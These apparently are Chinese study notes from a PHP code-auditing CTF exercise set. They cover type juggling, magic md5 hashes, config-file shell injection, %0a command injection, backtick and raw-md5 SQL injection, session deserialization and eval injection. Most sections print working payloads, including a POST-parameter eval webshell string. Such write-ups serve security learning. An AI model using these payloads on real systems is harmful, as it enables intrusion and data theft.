Background
最近看了看师傅们的代码审计项目,因为自己对php的读代码能力实在是偏弱,所以趁着这个项目好好提升一下代码审计能力
phpbug #69892
<?php
$users = array(
"0:9b5c3d2b64b8f74e56edec71462bd97a" ,
"1:4eb5fb1501102508a86971773849d266",
"2:facabd94d57fc9f1e655ef9ce891e86e",
"3:ce3924f011fe323df3a6a95222b0c909",
"4:7f6618422e6a7ca2e939bd83abde402c",
"5:06e2b745f3124f7d670f78eabaa94809",
"6:8e39a6e40900bb0824a8e150c0d0d59f",
"7:d035e1a80bbb377ce1edce42728849f2",
"8:0927d64a71a9d0078c274fc5f4f10821",
"9:e2e23d64a642ee82c7a270c6c76df142",
"10:70298593dd7ada576aff61b6750b9118"
);
$valid_user = false;
$input = $_COOKIE['user'];
$input[1] = md5($input[1]);
foreach ($users as $user)
{
$user = explode(":", $user);
if ($input === $user) {
$uid = $input[0] + 0;
$valid_user = true;
}
}
if (!$valid_user) {
die("not a valid user\n");
}
if ($uid == 0) {
echo "Hello Admin How can I serve you today?\n";
echo "SECRETS ....\n";
} else {
echo "Welcome back user\n";
}
首先看看输出,发现应该是这里 拿到admin权限代表成功
所以关键代码在这里
if ($uid == 0) {
echo "Hello Admin How can I serve you today?\n";
echo "SECRETS ....\n";
} else {
echo "Welcome back user\n";
}
当uid==0的时候 得到admin权限。所以我们看看uid是什么
首先往前通读代码
$users = array(
"0:9b5c3d2b64b8f74e56edec71462bd97a" ,
"1:4eb5fb1501102508a86971773849d266",
"2:facabd94d57fc9f1e655ef9ce891e86e",
"3:ce3924f011fe323df3a6a95222b0c909",
"4:7f6618422e6a7ca2e939bd83abde402c",
"5:06e2b745f3124f7d670f78eabaa94809",
"6:8e39a6e40900bb0824a8e150c0d0d59f",
"7:d035e1a80bbb377ce1edce42728849f2",
"8:0927d64a71a9d0078c274fc5f4f10821",
"9:e2e23d64a642ee82c7a270c6c76df142",
"10:70298593dd7ada576aff61b6750b9118"
);
这是一个用户数组 解这些md5发现只有第五个可以解开 得到hund
$valid_user = false;
$input = $_COOKIE['user'];
$input[1] = md5($input[1]);
foreach ($users as $user)
{
$user = explode(":", $user);
if ($input === $user) {
$uid = $input[0] + 0;
$valid_user = true;
}
}
首先把这个变量置于false $valid_user = false
用input变量接受用cookie传输的user的键值 然后把用户数组的第二项进行md5加密,进行比对user的,然后置为true
理清思路
获得权限需要这两个条件
1.user[0]对应第一个用户
2.user[1]对应第一个明文
但是我们第一个明文解不出来只有第五个可以解出来
这时我们就要用另外一种思路了,uid为0,不一定就是匹配到了users列表中的第一位用户。如果我们的user[0]没有值,又匹配到了users列表中的任意一个用户,不就可以达到uid为0,valid_user为true吗
那么我们可以不设置input[0]的值,而是用input[4294967296]来代替,然后比较的时候时用的input[4294967296]和input[1]来和列表中的用户比较,而uid又是通过input[0]+0来得到的,这样就完美绕过了它的限制。
bug成因:php运行在32位系统的会将数组的键 0x100000000=2^32=4294967296 变换为字符串,而在64位系统会直接 数组中的键4294967296 为unsigned long 类型 且等同于0
所以payload:Cookie: user[4294967296]=5;user[1]=hund;
类型强制转换那点事
<?php
show_source(__FILE__);
$flag = "xxxx";
if(isset($_GET['time'])){
if(!is_numeric($_GET['time'])){
echo 'The time must be number.';
}else if($_GET['time'] < 60 * 60 * 24 * 30 * 2){
echo 'This time is too short.';
}else if($_GET['time'] > 60 * 60 * 24 * 30 * 3){
echo 'This time is too long.';
}else{
sleep((int)$_GET['time']);
echo $flag;
}
echo '<hr>';
简单的判断逻辑 get传进来的数字 要介于这两个之间 But 后面有个sleep()函数 要等到这个秒数到了再拿flag 黄花菜都凉了
这里面的主要思路是利用16进制
5184001是一个在两个数之间的数字,我们进行16进制转换 0x5184001 16进制和10进制是可以直接进行比较的 但是(int)这个强制类型转换转换16进制时候只能识别前面的0 所以达到秒出flag的目的
写个小demo
<?php
$time = "5184001";
echo (int)$time;
echo "<br><br>";
$time_hex = "0x4f1a01";
echo (int)$time_hex;
很容易看出结果
绕过配置写shell
index.php
<?php
error_reporting(0);
$str = addslashes($_GET['option']);
$file = file_get_contents('./option.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
file_put_contents('./option.php', $file);
?>
介绍这个addslashes函数 他会把'转译成'
这段代码的逻辑通过get传参进入 然后进行正则匹配替换 写入option.php这个文件
option.php
<?php
$option='aaa';
?>
payload绕过思路
1
aaa';%0aphpinfo();//
%0a是换行的意思
思路就是通过换行和注释能够成功执行恶意语句
我们传参执行这个
发现文件内容变成了这样
我们正常的思路发现恶意代码已经被写入里面了 但现在因为'被用'替换了 我们无法正常执行,很简单,我们再次提交正常内容
可以看见我们的代码已经可以成功执行了
2
preg_replace()函数的问题
payload:aaa\';%0aphpinfo();//
'经过addslashes会变成什么呢? 我们写一个小demo
发现会变成\'
但是最后测试发现会变成\'
这就是preg_replace的问题
所以最后会写成这样子
$option='aaa\\';phpinfo()//';
3
参考文章:https://blog.csdn.net/qq_33020901/article/details/78951543
addslashes 和preg_replace()问题
第一次传入;phpinfo();此时文件内容为:
$option=';phpinfo();';
%00被addslashes()转为0,而0在preg_replace函数中会被替换为“匹配到的全部内容”,此时preg_replace要执行的代码如下
preg_replace('|$option='.*';|',"$option='0';",$file);
最终结果变成这个样子
我们可以发现是成功执行了
如何不用数字和字母生成一个webshell?
位运算以及一些特殊字符的解
师傅们tql
https://chybeta.github.io/2017/07/15/%E4%B8%80%E9%81%93%E5%A5%BD%E7%8E%A9%E7%9A%84webshell%E9%A2%98/
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html#_4
当命令执行的分隔符被ban
<?php
if(isset($_REQUEST[ 'ip' ])) {
$target = trim($_REQUEST[ 'ip' ]);
$substitutions = array(
'&' => '',
';' => '',
'|' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
$cmd = shell_exec( 'ping -c 4 ' . $target );
echo $target;
echo "<pre>{$cmd}</pre>";
}
show_source(__FILE__);
用REQUEST接受IP 这应该是一个ping的接口 我们常见的执行命令的; &等都被替换成空 这里有个奇妙的命令%0a,我们在之前的题目里运用过
payload:127.0.01?%0als
0e开头的md5问题
<?php
$output = "";
if (isset($_GET['code'])) {
$content = file_get_contents(__FILE__);
$content = preg_replace('/FLAG\-[0-9a-zA-Z_?!.,]+/i', 'FLAG-XXXXXXXXXXXXXXXXXXXXXXX', $content);
echo '<div class="code-highlight">';
highlight_string($content);
echo '</div>';
}
if (isset($_GET['pass'])) {
if(!preg_match('/^[^\W_]+$/', $_GET['pass'])) {
$output = "Don't hack me please :(";
} else {
$pass = md5("admin1674227342");
if ((((((((($_GET['pass'] == $pass)))) && (((($pass !== $_GET['pass']))))) || ((((($pass == $_GET['pass'])))) && ((($_GET['pass'] !== $pass)))))))) { // Trolling u lisp masta
if (strlen($pass) == strlen($_GET['pass'])) {
$output = "<div class='alert alert-success'>FLAG-XXXXXXXXXXXXXXXXXXXXXXX</div>";
} else {
$output = "<div class='alert alert-danger'>Wrong password</div>";
}
} else {
$output = "<div class='alert alert-danger'>Wrong password</div>";
}
}
}
?>
admin1674227342的md5值是0e463854177790028825434984462555
发现这个md5是0e开头的 不得不提一下0e的特性
因为0e会被当成科学计数法 0 x10的多少次方还是0
并且在php弱类型中 ==不会检查条件式的表达式类型,所以只要注意好strlen控制好位数即可。
奇特的sql注入
<?php
require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
?>
首先来分析一下代码
$table = $_GET['table']?$_GET['table']:"test";
这个意思是用变量table接受传进来的table的值,如果没传值就默认为test
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
mysqli_query进行对数据库的查询 如果失败就调用Hacker函数
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
放入数据库中查询,输出第一条数据
键入test可以看到还是flag{xx}
键入其他可以看到 hello hacker,猜测到可能是调用hacker函数了
所以就是反引号的问题了
反引号 ` 在mysql中是为了区分mysql中的保留字符与普通字符而引入的符号
所以我们明白
当table=test时,由于库中存在secret_test表,因此mysqli_query()函数返回成功,继续向下执行,从而输出了flag{xxx}
当table=123时,因为库中不存在secre_123表,因此跳转hacker()函数结束程序
我们用payload查库
payload: ?table=test` ` union select database()
在查询语句中就变成了这样
mysqli_query($mysqli,"desc `secret_test` ` union select database()`") or Hacker();
$sql = "select 'flag{xxx}' from secret_test` ` union select database()";
$ret = sql_query($sql);
echo $ret[0];
根据师傅所说两个反
引号相当于空格
所以我们正常闭合进行查语句一把梭
` ` union select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1
` `union select group_concat(column_name) from information_schema.columns where table_schema=database() limit 1,1
` `union select group_concat(flagUwillNeverKnow) from secret_flag
参考链接:https://blog.csdn.net/qq_42939527/java/article/details/100129254
Session反序列化
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
关键点:php.ini中默认session.serialize_handler为php_serialize,而index.php中将其设置为php。这就导致了seesion的反序列化问题。
看了师傅们的总结,大致明白了利用过程
1.写一个表单上传,传一个序列化进去查询地址
2.查询flag的地址,重新传一个读取flag文件
本地建立个test.html
我们这里是用PHP_SESSION_UPLOAD_PROGRESS来改变session
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
写一个反序列化文件
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
<?php
class OowoO
{
public $mdzz='print_r(scandir(dirname(__FILE__)));';
}
$obj = new OowoO();
echo serialize($obj);
?>
通过scandir获取文件列表
设置$mdzz=‘print_r(scandir("/opt/lampp/htdocs"));‘
序列化的结果是O:5:"OowoO":1:{s:4:"mdzz";s:38:"print_r(scandir("/opt/lampp/htdocs"));";}
文件名设置为|O:5:"OowoO":1:{s:4:"mdzz";s:38:"print_r(scandir("/opt/lampp/htdocs"));";}
|是session的意思
就这样一步一步可以查到flag文件的内容
ereg那点事
<?php
error_reporting(0);
echo "<!--index.phps-->";
if(!$_GET['id'])
{
header('Location: index.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'Hahahahahaha';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("flag.txt");
}
else
{
print "work harder!harder!harder!";
}
?>
看看要求 首先$id $a 和$b都需要用GET赋值 $data调用了file_get_contents 所以我们可以让$a用php://input来进行伪协议,然后post提交就可绕过第一个 id==0 因为php的弱类型 如果id为字符串为0 $b的长度要求大于5 然后就是eregi这个点
eregi函数的弱类型,用%00的绕过( strlen函数对%00不截断但substr截断)那么可以令b=%00411111,eregi遇到%00会默认字符串结束 所以我们构造
这题还没完 因为爆出来的是一个目录,然后发现默认值为id=1 所以发现可以进行sql注入
这题简单看了一下过滤了空格 用/*/也不行 那就可以用/1*/这种数字型,过滤常见的union select 我们可以用双写绕过
首先order by查下列数
发现是3列 然后一把梭查回显位
发现回显位是3
查库名是test
查表名content
这里面查字段直接用'content'不行 需要转16进制
get flag
加密后的md5注入
<?php
error_reporting(0);
$link = mysql_connect('localhost', 'root', '');
if (!$link) {
die('Could not connect to MySQL: ' . mysql_error());
}
// 选择数据库
$db = mysql_select_db("test", $link);
if(!$db)
{
echo 'select db error';
exit();
}
// 执行sql
$password = $_GET['pwd'];
$sql = "SELECT * FROM admin WHERE pass = '".md5($password,true)."'";
var_dump($sql);
$result=mysql_query($sql) or die('<pre>' . mysql_error() . '</pre>' );
$row1 = mysql_fetch_row($result);
var_dump($row1);
mysql_close($link);
?>
发现查询的语句进行md5加密
ffifdyop
主要就是这个奇妙的值,经过md5加密后就是 or’6<乱码>
他会把密码给闭合掉,就和万能密码一样
成功get flag
eval函数的危险
<?php
error_reporting(0);
show_source(__FILE__);
$a = @$_REQUEST['hello'];
eval("var_dump($a);");
思路主要就是闭合这个eval然后自己写个eval
看了看师傅们的payload:?hello=);eval(phpinfo());//
var_dump之后
string(22) ");eval($_POST['A']);//" 会变成这个样子
//闭合后面的"已经非常常见了
后来发现还有一种payload:);eval($_GET[c]&c=phpinfo();
会变成这种 eval("string(17) ");eval($_GET[c]" string(0) "" ");
tqltql
php json
<?php
show_source(__FILE__);
$v1=0;$v2=0;$v3=0;
$a=(array)json_decode(@$_GET['foo']);
if(is_array($a)){
is_numeric(@$a["bar1"])?die("nope"):NULL;
if(@$a["bar1"]){
($a["bar1"]>2016)?$v1=1:NULL;
}
if(is_array(@$a["bar2"])){
if(count($a["bar2"])!==5 OR !is_array($a["bar2"][0])) die("nope");
$pos = array_search("nudt", $a["a2"]);
$pos===false?die("nope"):NULL;
foreach($a["bar2"] as $key=>$val){
$val==="nudt"?die("nope"):NULL;
}
$v2=1;
}
}
$c=@$_GET['cat'];
$d=@$_GET['dog'];
if(@$c[1]){
if(!strcmp($c[1],$d) && $c[1]!==$d){
eregi("3|1|c",$d.$c[0])?die("nope"):NULL;
strpos(($c[0].$d), "htctf2016")?$v3=1:NULL;
}
}
if($v1 && $v2 && $v3){
include "flag.php";
echo $flag;
}
?>
首先看一看输出flag的条件 v1 v2 v3都不为0 ,看看上面的代码发现完成三个条件
v1
$a=(array)json_decode(@$_GET['foo']);
if(is_array($a)){
is_numeric(@$a["bar1"])?die("nope"):NULL;
if(@$a["bar1"]){
($a["bar1"]>2016)?$v1=1:NULL;
}
首先是个json设置 我们知道js的语法是{"aa":xxx}这种的
然后看get用foo传参 $a["bar1"]大于2016 我们用弱类型变成2017a 设置v1=1
v2
if(is_array(@$a["bar2"])){
if(count($a["bar2"])!==5 OR !is_array($a["bar2"][0])) die("nope");
$pos = array_search("nudt", $a["a2"]);
$pos===false?die("nope"):NULL;
foreach($a["bar2"] as $key=>$val){
$val==="nudt"?die("nope"):NULL;
}
$v2=1;
}
设定$a["bar2"]是个数组 元素的个数为5个,同时$a"bar2"是数组,所以我们这么设置
$a["bar2"] = [[],2,3,4,5] 然后要求设置这个 $a["a2"] = “nudt”
这里面因为是===严格比较 所以只能这么设置
结合前两步的payload如下:
foo={"bar1":"2017a","bar2":[[],2,3,4,5],"a2":["nudt"]}
v3
$c=@$_GET['cat'];
$d=@$_GET['dog'];
if(@$c[1]){
if(!strcmp($c[1],$d) && $c[1]!==$d){
eregi("3|1|c",$d.$c[0])?die("nope"):NULL;
strpos(($c[0].$d), "htctf2016")?$v3=1:NULL;
}
}
首先看到 分别用 cat和dog来接收值 strcmp比较c和d 我们知道strcmp比较数组会为false 所以设置cat[1]为数组
eregi对拼接后的字符串$d.$c[0]进行正则匹配,若匹配到则die掉。而下一步又要求拼接字符串$c[0].$d中要有字符串“htctf2016”。这里利用%00对eregi的截断功能
strpos还要求hctf不能在开头
payload:cat[0]=ahtctf2016&cat[1][]=&dog=%00